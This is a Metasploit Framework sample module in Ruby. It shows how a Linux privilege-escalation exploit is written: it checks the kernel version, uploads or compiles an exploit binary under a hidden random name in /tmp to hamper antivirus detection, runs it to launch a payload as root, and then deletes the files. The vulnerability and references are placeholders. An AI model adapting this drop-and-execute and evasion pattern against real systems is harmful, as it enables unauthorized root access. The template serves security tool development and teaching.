Files
metasploit-gs/modules/exploits/example_linux_priv_esc.rb
T
2019-11-29 06:54:34 -05:00

197 lines
6.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in an arbitrary command on a linux server for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
# The Name should be just like the line of a Git commit - software name,
# vuln type, class. It needs to fit in 50 chars ideally. Preferably apply
# some search optimization so people can actually find the module.
# We encourage consistency between module name and file name.
'Name' => 'Sample Linux Priv Esc',
'Description' => %q(
This exploit module illustrates how a vulnerability could be exploited
in an linux command for priv esc.
),
'License' => MSF_LICENSE,
'Author' => ['h00die'],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'OSVDB', '12345' ],
[ 'EDB', '12345' ],
[ 'URL', 'http://www.example.com'],
[ 'CVE', '1978-1234']
],
'DisclosureDate' => "Nov 29 2019",
# Note that this is by index, rather than name. It's generally easiest
# just to put the default at the beginning of the list and skip this
# entirely.
'DefaultTarget' => 0
)
)
# We typically drop a pre-compiled exploit to disk and run it, however the option
# is left for the user to gcc it themselves if there is an add OS or other dependency
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
]
# force exploit is used to bypass the check command results
register_advanced_options [
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
# Simplify and standardize uploading a file
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
end
# Simplify uploading and chmoding a file
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
# Simplify uploading and compiling a file
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
cmd_exec "chmod +x #{path}"
end
# Pull the exploit binary or file (.c typically) from our system
def exploit_data(file)
::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'DOES_NOT_EXIST', file)
end
# If we're going to live compile on the system, check gcc is installed
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
# Check the kernel version to see if its in a vulnerable range
release = kernel_release
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
# Check the app is installed and the version, debian based example
package = cmd_exec('dpkg -l example | grep \'^ii\'')
if package && package.include?('1:2015.3.14AR.1-1build1')
print_good("Vulnerable app version #{package} detected")
CheckCode::Appears
end
CheckCode::Safe
end
#
# The exploit method drops a payload file to the system, then either compiles and runs
# or just runs the exploit on the system.
#
def exploit
# First check the system is vulnerable, or the user wants to run regardless
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
# Check if we're already root
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
end
# Make sure we can write our exploit and payload to the remote system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable, writing to a random name so AV doesn't have too easy a job
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
rm_f "#{executable_path}.c"
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('example')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 30
print_status "Launching exploit..."
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
# Remove the files we wrote to the system
print_status "Cleaning up #{payload_path} and #{executable_path}..."
rm_f executable_path
rm_f payload_path
end
end